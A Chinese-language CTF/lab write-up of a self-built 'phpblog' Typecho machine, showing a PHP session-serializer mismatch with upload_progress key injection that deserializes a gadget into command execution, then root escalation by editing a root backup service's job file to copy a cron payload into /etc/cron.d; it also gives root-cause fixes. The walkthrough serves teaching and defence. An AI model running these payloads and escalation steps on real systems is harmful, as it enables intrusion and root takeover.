phpblog 靶机渗透测试报告

Typecho 投稿页 Php2Shell → blogbackup 任意文件写入 → root

作者：momo（QQ 351892664） · 日期：2026-10-24 · 难度：简单 · 目标：192.168.134.93 · 结果：user + root

目录 一、基本信息　二、攻击链总览　三、阶段一：信息收集　四、阶段二：Php2Shell 拿到 momo 五、阶段三：主机枚举　六、阶段四：root 提权　七、根因与修复　八、死路与误判　九、Flag 与复现　十、参考资料

一、基本信息

项目	内容
靶机名	`phpblog`（VirtualBox，Debian 13）
目标地址	`192.168.134.93`（本次测试实例；DHCP，实际以开机 IP 为准）
操作系统	Debian GNU/Linux 13 (trixie)，内核 `6.12.73+deb13-amd64`（GRUB 默认；另有 `7.2.7-1-liquorix-amd64` 条目）
开放端口	`22/tcp` OpenSSH 10.0p2；`80/tcp` Apache httpd 2.4.68
回环服务	`127.0.0.1:9001` blogbackup（root，外网不可达）
Web 栈	Apache 2.4.68 + PHP-FPM 8.4.24（池 `blog`，`user = momo`）
应用	Typecho 1.3.0，主题 `classic-22`，「折页手记」个人博客
初始权限	无凭据，黑盒
最终权限	`root`
核心手法	session 序列化处理器错配 + upload_progress 键名注入 → 反序列化 → 命令执行；root 备份服务信任普通用户可写任务 → 任意文件写入 → cron

> **结论：**站点本身没有传统的文件上传或 SQL 注入入口，第一个突破口来自「投稿页」和「投稿状态页」使用了不同的 session 序列化处理器；拿到 `momo` 后，本机 root 备份服务的 token 可从进程参数读取，任务目录又归 `momo` 所有，最终通过 `/restore` 以 root 写 `/etc/cron.d/` 完成提权。

二、攻击链总览

```
[攻击机] 192.168.134.200
   │
   │ 1. 80/tcp Typecho「折页手记」
   │    首页页脚 → 读者投稿 / 更新日志
   ▼
/usr/themes/classic-22/submit/     .user.ini: session.serialize_handler=php_serialize
/usr/themes/classic-22/status/     默认 php（php.ini），且 session_start() 前加载 TempCleaner
   │
   │ 2. upload_progress 键名注入 + 反序列化
   ▼
TempCleaner::__destruct() → system("rm -rf " . $path)
   │
   ▼
momo (uid=1000)  ──→  /home/momo/user.txt        [user flag]
   │
   │ 3. ps / systemctl status 读到 token；jobs/ staging/ 归 momo
   ▼
127.0.0.1:9001 blogbackup（root）
   │
   │ 4. 改 job 的 source/dest → POST /restore → shutil.copy2() as root
   ▼
/etc/cron.d/blogbackup  →  root cron
   │
   ▼
/root/<uuid>.txt                                 [root flag]
```

三、阶段一：信息收集

3.1 端口与服务

对目标做常规 TCP 扫描，外部只看到 SSH 与 HTTP。9001 在外部是 `closed`，这与后面的本机服务相互印证——它不是网络入口，而是拿到 `momo` 之后才能接触的本机攻击面。

```
$ nmap -sV -Pn -p22,80,9001 192.168.134.93

PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
80/tcp   open   http       Apache httpd 2.4.68 ((Debian))
9001/tcp closed tor-orport
```

HTTP 响应头直接给出了 Web 栈版本：

```
$ curl -sSI http://192.168.134.93/

HTTP/1.1 200 OK
Server: Apache/2.4.68 (Debian)
X-Powered-By: PHP/8.4.24
X-Pingback: http://192.168.134.93/index.php/action/xmlrpc
Content-Type: text/html; charset=UTF-8
```

3.2 站点指纹

首页是一个简洁的个人博客，标题「折页手记」，页脚写着 `Powered by Typecho`。文章内容提到当前使用 Apache、PHP-FPM 和 SQLite，PHP 运行在 8.4.24——与响应头一致。站点没有登录框、没有搜索框、没有明显

的上传点，常规的目录爆破收益也很低。



图 1　首页与页脚入口：RSS、读者投稿、更新日志

真正有价值的是页脚上的两个链接：**「读者投稿」** 与 **「更新日志」**。前者指向 `/usr/themes/classic-22/submit/`，后者指向 `/usr/themes/classic-22/docs/changelog.md`。它们不是 Typecho 默认页面，而是主题里额外加的功能，说明作者在这套主题上做过定制。

3.3 线索一：更新日志把配置问题写在了明面上

```
$ curl -s http://192.168.134.93/usr/themes/classic-22/docs/changelog.md

# 折页手记 · 更新日志

## 2026-10-24

- 新增“读者投稿”页：`/usr/themes/classic-22/submit/`
- 新增“投稿状态”页：`/usr/themes/classic-22/status/`
- 投稿页的 session 编码器切到 `php_serialize`，状态页仍沿用默认的 `php`
- 为显示原生上传进度，`session.upload_progress.cleanup` 保持关闭，session 文件落在 `/tmp`
- 已知问题：`lib/TempCleaner.php` 的清理器在 `session_start()` 之前加载，发布前需要移除 `.bak`

## 2026-10-20 blogbackup 备份服务
- 新增 blogbackup.service：站点备份/恢复，只监听回环 127.0.0.1:9001
- 任务清单在 /var/lib/blogbackup/jobs，由站点用户维护
- 恢复源统一放在 /var/lib/blogbackup/staging
```

这段文字几乎把利用条件逐条列了出来：两套 handler、cleanup 关闭、session 落在 `/tmp`、清理器在 `session_start()` 之前加载、还留了一个 `.bak`。同时，它提前暴露了第二段的目标：root 运行的 blogbackup，任务由「站点用户」维护。

3.4 线索二：状态页注释指向 .bak

访问投稿状态页，查看 HTML 源码，能看到一条运维注释：

```
<!-- TODO(ops): 发布前移除 ../lib/TempCleaner.php.bak；清理器必须在 session_start() 之前加载 -->
```

直接请求 `/usr/themes/classic-22/lib/TempCleaner.php.bak`，拿到清理器源码：

```
<?php
class TempCleaner
{
    public $path = '';

    public function __destruct()
    {
        if ($this->path !== '') {
            system('rm -rf ' . $this->path . ' 2>/dev/null');
        }
    }
}
```

这是一个标准的「反序列化 + 析构函数命令执行」gadget：类名已知、属性名 `path` 已知、`__destruct()` 里直接拼接进 `system()`。剩下的问题只有一个——怎么让 PHP 在请求里反序列化我们构造的 `TempCleaner` 对象。

3.5 投稿页与状态页



图 2　读者投稿页（上传表单）



图 3　投稿状态页（读取 session）

查看投稿页源码，表单里有一个不常见的隐藏字段：

```
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="submit_<random>">
```

这正是 PHP 的 `session.upload_progress` 机制。再结合更新日志里的 handler 错配与 cleanup 关闭，利用链已经完整：

1. **写侧**在 `submit/`，使用 `php_serialize`，会把 `$_SESSION` 的键名原样写入文件；
2. **读侧**在 `status/`，使用默认 `php`，按第一个 `|` 切分键名和值，然后反序列化值；
3. 把 `PHP_SESSION_UPLOAD_PROGRESS` 的值构造成 `|O:11:"TempCleaner":...`，写进 session 文件的键名里；
4. 带同一个 `PHPSESSID` 访问状态页，`php` handler 在 `|` 处切开，右侧的序列化字符串被还原成对象；
5. `TempCleaner` 已在 `session_start()` 之前加载，对象析构时执行命令。

四、阶段二：Php2Shell 拿到 momo

4.1 两种 session 序列化处理器

位置	处理器	来源与行为
`submit/`	`php_serialize`	目录下的 `.user.ini` 设置。整个 `$_SESSION` 被序列化成一个数组，键名按字面保存，包括其中的 `|`。
`status/`	`php`	继承 `php.ini` 默认值。格式为 `key|serialized_value`，读取时以第一个 `|` 分割，右侧交给 `unserialize()`。
FPM 池 `blog`	未覆盖 handler	只设置了 `session.save_path=/tmp`、`upload_progress.cleanup=Off`、`use_strict_mode=0`、`use_only_cookies=0`。

> **为什么用 `.user.ini`**：站点是 Apache + `mod_proxy_fcgi` + PHP-FPM，Apache 的 `php_value` 不会传给 FPM；而 `.user.ini` 属于 `PHP_INI_PERDIR`，FPM 会在每个目录解析。因此 `submit/.user.ini` 能只影响投稿目录，状态目录仍是默认 `php`。

4.2 upload_progress 的键名注入

当请求包含 `PHP_SESSION_UPLOAD_PROGRESS` 字段时，PHP 会把「前缀 + 字段值」作为 session 的一个键，记下上传进度。前缀默认是 `upload_progress_`，所以字段值会原样接在前缀后面。把字段值设成以 `|` 开头的序列化对象，写侧 `php_serialize` 会把它完整地当作键名保存：

```
upload_progress_|O:11:"TempCleaner":1:{s:4:"path";s:45:"/tmp/nonexistent; id; cat
/home/momo/user.txt";}
```

读侧 `php` handler 看到第一个 `|`，会认为左边是键名 `upload_progress_`，右边是值：

```
O:11:"TempCleaner":1:{s:4:"path";s:45:"/tmp/nonexistent; id; cat /home/momo/user.txt";}
```

由于 `TempCleaner` 类已经加载，这个字符串会被还原成对象，`path` 属性就是我们的命令。请求结束时对象析构，`system()` 执行。

4.3 先只发 seed，观察落盘的 session

利用脚本支持 `--seed-only`，方便在靶机上确认写侧到底落了什么。固定一个 SID，发送带上传文件的 multipart 请求：

```
$ python3 -I poc/exploit.py --host 192.168.134.93 --port 80 \
    --seed-path /usr/themes/classic-22/submit/ \
    --sid wpdemowpdemowpdemowpdemow --seed-only \
    --cmd '/tmp/nonexistent; id; cat /home/momo/user.txt'

[*] seed  /usr/themes/classic-22/submit/ sid=wpdemowpdemowpdemowpdemow -> HTTP 200
[*] 仅 seed，session 文件: /tmp/sess_wpdemowpdemowpdemowpdemow
```

在靶机上看这个文件：

```
# ls -l /tmp/sess_wpdemowpdemowpdemowpdemow
-rw------- 1 momo momo 452 Oct 24 12:05 /tmp/sess_wpdemowpdemowpdemowpdemow

# cat -v /tmp/sess_wpdemowpdemowpdemowpdemow
a:1:{s:104:"upload_progress_|O:11:"TempCleaner":1:{s:4:"path";s:45:"/tmp/nonexistent; id; cat
/home/momo/user.txt";}";a:5:{s:10:"start_time";i:1792857911;...}}
```

可以看到键名 `upload_progress_|O:11:...` 被当作普通字符串保存，长度 `s:104` 也包含整个键名；其余字段是上传进度信息，此处省略。此时还没有触发——因为还没有请求用 `php` handler 去读它。

4.4 触发析构

带同一个 SID 访问状态页：

```
$ curl -sS -H 'Cookie: PHPSESSID=wpdemowpdemowpdemowpdemow' \
    'http://192.168.134.93/usr/themes/classic-22/status/'

uid=1000(momo) gid=1000(momo) groups=1000(momo)
flag{user-75cc457b4a0106ce1921ce3c846a0fbd}
<!doctype html>
<html lang="zh-CN">
...
```

命令输出直接出现在响应体最前面，随后才是状态页模板。原因是 `system()` 把 stdout 写进响应流，而对象析构发生在页面输出之前。用现成脚本跑，输出更简洁：

```
$ python3 -I poc/exploit.py --host 192.168.134.93 --port 80 \
    --seed-path /usr/themes/classic-22/submit/ \
    --fire-path /usr/themes/classic-22/status/ \
    --cmd '/tmp/nonexistent; id; cat /home/momo/user.txt'

[*] seed  /usr/themes/classic-22/submit/ sid=vrxoxpxzaauu2bcnidlee9chgg -> HTTP 200
[*] fire  /usr/themes/classic-22/status/ -> HTTP 200 (1121 bytes)
[+] flag: flag{user-75cc457b4a0106ce1921ce3c846a0fbd}
```

到这里，Web 层已经拿到 `momo` 的命令执行权限，并读到 user flag：

```
# ls -l /home/momo/user.txt
-rw------- 1 momo momo 44 Oct 24 11:38 /home/momo/user.txt
# cat /home/momo/user.txt
flag{user-75cc457b4a0106ce1921ce3c846a0fbd}
```

4.5 六个必须踩准的细节

细节	说明
`rm -rf ` 前缀	`__destruct()` 里是 `system('rm -rf ' . $path)`。如果直接填 `id`，实际执行的是 `rm -rf id`，只会删掉一个名为 `id` 的文件，没有任何回显。命令必须以一个无害路径开头，例如 `/tmp/nonexistent; id`，用分号把前缀「吃掉」。
序列化长度	`O:11:"TempCleaner":1:{s:4:"path";s:45:"...";}` 中的 `s:45` 必须是命令的字节长度；外层键名的 `s:104` 也必须匹配。长度不对，`unserialize()` 会失败，对象不会生成。
SID 同时出现在两处	multipart 的 `PHPSESSID` 字段和 `Cookie: PHPSESSID=...` 要一致；seed 与 fire 也必须使用同一个 SID，否则读的是另一个空 session。

细节	说明
cleanup 必须关闭	如果 `session.upload_progress.cleanup=On`（PHP 默认），上传完成后 session 文件会被清掉，fire 时已经没有 payload。池里显式设为 `Off`。
strict mode 必须关闭	`session.use_strict_mode=0` 才允许客户端自带一个从未由服务端生成过的 SID。设为 1 时，PHP 会拒绝未知 SID 并重新生成。
类必须在 `session_start()` 之前加载	反序列化时如果 `TempCleaner` 未定义，只会得到 `__PHP_Incomplete_Class`，不会执行析构里的代码。状态页第 2 行的 `require` 正好满足这一点。

五、阶段三：主机枚举

5.1 当前身份与 sudo

```
$ id
uid=1000(momo) gid=1000(momo) groups=1000(momo)

$ sudo -n -l
sudo: a password is required
```

`momo` 不在 `sudo` 组，`/etc/sudoers` 与 `/etc/sudoers.d` 中也没有针对它的规则，常规的 sudo 提权路径不存在。需要把注意力放到本机运行的服务上。

5.2 进程与监听端口

```
$ ps -eo user:8,pid,args | grep -E 'blogbackup|agent.py'
root     1881 /usr/bin/python3 /opt/blogbackup/agent.py --token 0cc0ed49297b6ded0109ca1515e1f7a2 --
listen 127.0.0.1:9001

$ ss -lntp | grep 9001
LISTEN 0 5 127.0.0.1:9001 0.0.0.0:*
```

一个以 root 运行、只监听回环的 Python HTTP 服务，启动参数里明文带着 token。普通用户虽然看不到进程的打开文件，但 `ps` 的命令行参数对所有用户可见；`systemctl status` 也会把完整命令行打印出来：

```
$ systemctl status blogbackup --no-pager
● blogbackup.service - Blog backup/restore agent
     Loaded: loaded (/etc/systemd/system/blogbackup.service; enabled; preset: enabled)
     Active: active (running) since Sat 2026-10-24 11:32:28 EDT; 33min ago
   Main PID: 1881 (python3)
     CGroup: /system.slice/blogbackup.service
             └─1881 /usr/bin/python3 /opt/blogbackup/agent.py --token
0cc0ed49297b6ded0109ca1515e1f7a2 --listen 127.0.0.1:9001
```

> **注意：**token 由 `start.sh` 在每次启动时用 `openssl rand -hex 16` 生成，服务重启后会变化。上面是本次运行时的值；利用时应当现场从 `ps` 或 `systemctl status` 读取，而不是写死。

5.3 服务文档与接口

`/opt/blogbackup/README.md` 与 `agent.py` 对所有用户可读，接口约定写得很清楚：

```
$ cat /opt/blogbackup/README.md

站点备份/恢复代理。systemd 管理，只监听回环地址 `127.0.0.1:9001`。

所有接口都要带 token：查询参数 `?token=<token>` 或请求头 `X-Token: <token>`。

| 方法 | 路径 | 说明 |
|---|---|---|
| GET | `/status` | 服务状态和任务名列表 |
| GET | `/jobs` | 读取 `/var/lib/blogbackup/jobs/*.json` |
| POST | `/restore` | 执行恢复，body `{"id":"<任务名>"}` |

任务文件由站点用户维护，示例：
{
  "id": "daily-www",
  "source": "/var/lib/blogbackup/staging/www-index.php.bak",
  "dest": "/var/backups/blog/www-index.php.bak",
  "schedule": "daily"
}

恢复源必须位于 `/var/lib/blogbackup/staging/`，目标目录必须已存在。
```

用 token 访问接口：

```
$ TOKEN=0cc0ed49297b6ded0109ca1515e1f7a2

$ curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:9001/status
401

$ curl -s "http://127.0.0.1:9001/status?token=$TOKEN"
{"service": "blogbackup", "jobs": ["daily-www"]}

$ curl -s "http://127.0.0.1:9001/jobs?token=$TOKEN"
{"jobs": [{"id": "daily-www", "source": "/var/lib/blogbackup/staging/www-index.php.bak",
"dest": "/var/backups/blog/www-index.php.bak", "schedule": "daily"}]}
```

5.4 关键权限：任务和暂存目录归 momo

```
$ ls -ld /var/lib/blogbackup /var/lib/blogbackup/jobs /var/lib/blogbackup/staging
drwxrwxr-x 4 momo momo 4096 /var/lib/blogbackup
drwxrwxr-x 2 momo momo 4096 /var/lib/blogbackup/jobs
drwxrwxr-x 2 momo momo 4096 /var/lib/blogbackup/staging

$ ls -l /var/lib/blogbackup/jobs/daily-www.json
-rw-rw-r-- 1 momo momo 146 /var/lib/blogbackup/jobs/daily-www.json
```

到这里，提权思路已经很清楚：服务以 root 运行，任务文件由 `momo` 维护，`/restore` 会按任务里的 `source` 与 `dest` 做文件复制。只要目标目录存在，`dest` 就能指向任意位置。

六、阶段四：root 提权

6.1 读一遍 agent 的关键逻辑（节选）

```
STAGING = "/var/lib/blogbackup/staging"

def within(path, base):
    return os.path.realpath(path).startswith(os.path.realpath(base) + os.sep)

def load_job(job_id):
    ...
    with open(os.path.join(JOBS, job_id + ".json"), "r", encoding="utf-8") as f:
        return json.load(f)

# POST /restore
job = load_job(str(payload.get("id", "")))
source = str(job.get("source", ""))
dest = str(job.get("dest", ""))
if not within(source, STAGING):
    raise ValueError("source must be under " + STAGING)
if not os.path.isfile(source):
    raise ValueError("source not found")
if not os.path.isdir(os.path.dirname(dest)):
    raise ValueError("destination directory not found")
shutil.copy2(source, dest)
```

检查	实际效果
`source` 必须在 staging 下	只限制「从哪读」，不限制「往哪写」。`dest` 只检查父目录存在。
`shutil.copy2(source, dest)`	以 root 权限复制，保留源文件的权限位。目标文件属主变成 root。
任务文件由 `momo` 维护	攻击者可以改 `source` 和 `dest`，服务端没有签名或白名单。

> **本质：**一个 root 服务，把「读哪里」限制住了，却没有限制「写哪里」，而决定这两个值的任务文件又归普通用户所有。这是典型的「root 服务消费低权限用户可写配置」。

6.2 构造 cron 载荷

在 staging 下写一个 cron 文件。cron 的 `/etc/cron.d/` 格式需要在时间表达式后指定运行用户：

```
* * * * * root /bin/sh -c "cat /root/*.txt > /tmp/rootflag; chmod 644 /tmp/rootflag"
```

把它保存为 `/var/lib/blogbackup/staging/persist.sh`。文件权限保持 644，复制到 `/etc/cron.d/` 后仍是 644、属主 root，满足 cron 对权限的要求。

6.3 改任务并触发 restore

以 `momo` 身份修改 `daily-www.json`：

```
$ python3 - <<'PY'
import json
p = "/var/lib/blogbackup/jobs/daily-www.json"
d = json.load(open(p))
print("before:", d)
d["source"] = "/var/lib/blogbackup/staging/persist.sh"
d["dest"] = "/etc/cron.d/blogbackup"
json.dump(d, open(p, "w"))
print("after :", d)
PY

before: {'id': 'daily-www', 'source': '/var/lib/blogbackup/staging/www-index.php.bak',
         'dest': '/var/backups/blog/www-index.php.bak', 'schedule': 'daily'}
after : {'id': 'daily-www', 'source': '/var/lib/blogbackup/staging/persist.sh',
         'dest': '/etc/cron.d/blogbackup', 'schedule': 'daily'}
```

触发恢复：

```
$ curl -s -X POST "http://127.0.0.1:9001/restore?token=$TOKEN" \
    -H 'Content-Type: application/json' -d '{"id":"daily-www"}'

{"ok": true, "id": "daily-www", "dest": "/etc/cron.d/blogbackup"}

$ ls -l /etc/cron.d/blogbackup
-rw-r--r-- 1 root root 85 Oct 24 12:05 /etc/cron.d/blogbackup

$ cat /etc/cron.d/blogbackup
* * * * * root /bin/sh -c "cat /root/*.txt > /tmp/rootflag; chmod 644 /tmp/rootflag"
```

6.4 root flag

等待下一次 cron 周期（最多 60 秒）：

```
$ for i in $(seq 1 70); do [ -f /tmp/rootflag ] && break; sleep 1; done
$ ls -l /tmp/rootflag
-rw-r--r-- 1 root root 44 Oct 24 12:06 /tmp/rootflag

$ cat /tmp/rootflag
flag{root-7e934684eafe9fe6f1c32d6b06207c7f}
```

root flag 位于 `/root/7e934684eafe9fe6f1c32d6b06207c7f.txt`，随机文件名、`root:root 600`，提权前 `momo` 连目录都读不了：

```
$ ls -l /root/*.txt
-rw------- 1 root root 44 Oct 24 11:38 /root/7e934684eafe9fe6f1c32d6b06207c7f.txt

$ runuser -u momo -- ls /root/*.txt
ls: cannot access '/root/*.txt': Permission denied
```

6.5 另一条同类路径

把 `dest` 指向 `/root/.ssh/authorized_keys`，把 staging 里的公钥复制进去，同样能以 root 身份写入 SSH 公钥，直接获得 root shell。本次主链使用 cron，因为它的结果更容易观察，也不需要覆盖现有的 root 公钥文件。

> **清理：**验证完成后应立即删除 `/etc/cron.d/blogbackup`、`/tmp/rootflag` 与 staging 里的载荷，并把任务

> JSON 恢复原值，避免靶机在后续快照中残留测试痕迹。

七、根因与修复

#	根因	修复建议
1	源码与配置线索泄露：`TempCleaner.php.bak` 留在 Web 根下，changelog 明写 handler 错配、cleanup 关闭与加载顺序。	发布前删除 `.bak`、`.old`、`.swp` 等备份文件；changelog 不写内部配置细节；把「发布前移除」做成部署检查项，而不是注释。
2	同一站点内两套 session 序列化处理器：写侧 `php_serialize`、读侧 `php`。键名中的 `|` 在读侧被当成分隔符，导致不可信数据进入 `unserialize()`。	全站统一 handler；不要让目录级配置改变 session 格式；升级到不使用可注入分隔符的格式；对 session 数据做完整性校验。
3	`TempCleaner::__destruct()` 把用户可控的 `path` 直接拼进 `system()`。	不要在析构函数里执行 shell；删除文件用 `unlink()` / `rmdir()`，或至少 `escapeshellarg()`；把「清理」限制在固定临时目录内并校验 realpath。
4	root 服务的 token 通过 `--token` 放在 argv 中，`ps` 与 `systemctl status` 对所有用户可见。	改用环境变量或 `LoadCredential=` 从 0600 文件读取；限制 `/proc` 可见性；更彻底的做法是本地 Unix socket + 文件权限，而不是明文 token。
5	root 服务消费 `momo` 可写的任务文件，且 `dest` 不受限制，`copy2` 以 root 执行。	服务降权到专用用户；任务文件 root 所有并对内容签名；`dest` 白名单到 `/var/backups/blog/`，校验 realpath 与父目录；使用 `O_NOFOLLOW`；高风险操作要求人工审批。

八、死路与误判

8.1 上传文件不能直接执行

投稿页会把文件保存到 `/tmp/submissions`，这是 Web 根之外；文件名经过 `basename()`，无法穿越目录；`usr/uploads` 也不允许 PHP 后缀。即使上传 `.php`，也不会被 Apache 执行。本题的上传点只是触发 upload_progress 的载体。

8.2 Typecho 后台不是捷径

`/admin/login.php` 可以访问，但后台口令是部署时随机生成的，保存在 root 0600 文件里，不存在弱口令。主题目录虽然可写，也需要先有 `momo` 才能利用；它属于提权后的持久化面，不是入口。

8.3 9001 从外部打不到

nmap 显示 `9001/tcp closed`，服务只绑定 `127.0.0.1`。必须先拿到 `momo` 的命令执行，才能在本机访问它；直接把它当网络服务去打是死路。

8.4 staging 软链绕不过 realpath

曾尝试在 staging 里放一个指向 `/root/<uuid>.txt` 的软链，把 job 的 `source` 指向软链，想让服务把 root flag 复制出来。服务端的 `within()` 会先做 `realpath()`，软链解析后落在 staging 之外，直接被拒绝：

```
{"error": "source must be under /var/lib/blogbackup/staging"}
```

这说明「读」的边界是有效的；问题出在「写」的边界完全缺失。

8.5 Copy Fail 已被禁用

GRUB 默认内核是 6.12.73（另有 7.2.7 条目），但两个内核下 `/etc/modprobe.d/50-disable-af_alg.conf` 都用 `blacklist` 与 `install ... /bin/false` 禁掉了 `af_alg` / `algif_aead`。以 `momo` 身份创建 `AF_ALG` socket 会失败：

```
OSError: [Errno 97] Address family not supported by protocol
```

只有 root 才能重新加载模块，因此在 `momo` 阶段这条内核提权路线不可用；即使从 GRUB 选择 7.2.7 条目，`AF_ALG` 同样被禁用。这是题目刻意留下的干扰项，不应作为主链。

8.6 容易误判的细节

- **直接填 `id` 没有回显：**实际执行的是 `rm -rf id`，不是 `id`。必须以 `/tmp/nonexistent;` 之类的无害路径开头。
- **长度写错：**`s:45` 是命令字节数，`s:104` 是整个键名的字节数；任何一个不匹配，反序列化都会失败。
- **handler 只在 submit 改：**如果误以为全站都是 `php_serialize`，就不会想到 `|` 会被切成键值分隔符；如果误以为全站都是 `php`，又解释不了键名为什么能原样落盘。
- **cleanup 默认是 On：**不要拿 CLI 的 `php -i` 结果当 FPM 池的实际配置；池里显式设了 `Off`，但 CLI 仍显示 `On`。
- **token 会变：**服务重启后 `--token` 会重新生成，报告里的值只是本次快照；利用时应现场读取。

九、Flag 与复现

9.1 Flag

类型	路径	内容 / 权限
user	`/home/momo/user.txt`	`flag{user-75cc457b4a0106ce1921ce3c846a0fbd}` `momo:momo 600`
root	`/root/7e934684eafe9fe6f1c32d6b06207c7f.txt`	`flag{root-7e934684eafe9fe6f1c32d6b06207c7f}` `root:root 600`

9.2 复现材料

文件	作用
`typecho-p2s/deploy.sh`	部署投稿页、状态页、gadget 与线索文件

文件	作用
`typecho-p2s/deploy-backup.sh`	部署 blogbackup 服务、任务与暂存目录
`typecho-p2s/verify.sh`	Web 入口 → `momo` → user flag 的自动验证
`typecho-p2s/verify-backup.sh`	`momo` → token → 改 job → cron → root flag 的自动验证
`Php2Shell/poc/exploit.py`	可复用的 Php2Shell 客户端，支持 `--seed-only` 与固定 `--sid`
`typecho-p2s/set-flags.sh`	重新生成 user/root flag 并落位

9.3 最短复现路径

```
# 目标 IP 以开机 DHCP 为准；192.168.134.93 为本次测试实例

# 1. Web 入口 → momo
python3 -I Php2Shell/poc/exploit.py --host 192.168.134.93 --port 80 \
  --seed-path /usr/themes/classic-22/submit/ \
  --fire-path /usr/themes/classic-22/status/ \
  --cmd '/tmp/nonexistent; id; cat /home/momo/user.txt'

# 2. 本机读取 root 服务的 token
ps -eo user,args | grep '[a]gent.py'

# 3. 在 staging 写 cron 载荷，改 job 的 dest 为 /etc/cron.d/blogbackup
# 4. 触发 restore
curl -s -X POST "http://127.0.0.1:9001/restore?token=$TOKEN" \
  -H 'Content-Type: application/json' -d '{"id":"daily-www"}'

# 5. 等待 cron，读取 root flag
cat /tmp/rootflag
```

> **出题视角：**本题的两个入口都做到了「可推理」——handler 错配写在 changelog，gadget 通过 `.bak` 泄露，blogbackup 的接口与权限通过 README、`ps`、`ls -l` 可观察；每一步都有可验证的回显或文件状态，不依赖猜路径。Copy Fail 与 Typecho 后台作为有限的干扰项保留，主线唯一。

十、参考资料

1. PHP Manual — *session.upload_progress*：上传进度机制、`cleanup` 与 `prefix` 配置。
2. PHP Manual — *session.serialize_handler*：`php` 与 `php_serialize` 的格式差异。
3. PHP Manual — *Object serialization*：`O:`、`s:` 格式与 `__destruct()` 调用时机。
4. MazeSec《矛计划 · 如何制作一台靶机》：`https://the0n3.top/pages/mazesec-mao/`
5. MazeSec 官方《靶机出题规范&帮助》：`https://dcn8vd5zcs4n.feishu.cn/wiki/JFUowzkZciAsjokYGBBcXQjhnKf`
6. 本项目 `Php2Shell/poc/exploit.py` 与 `typecho-p2s/` 下的部署、验证脚本。

本文为自建靶机的本地练习记录，全程 host-only 直连，未涉及公网或第三方资产。文中 token 为本次运行快照，服务重启后失效。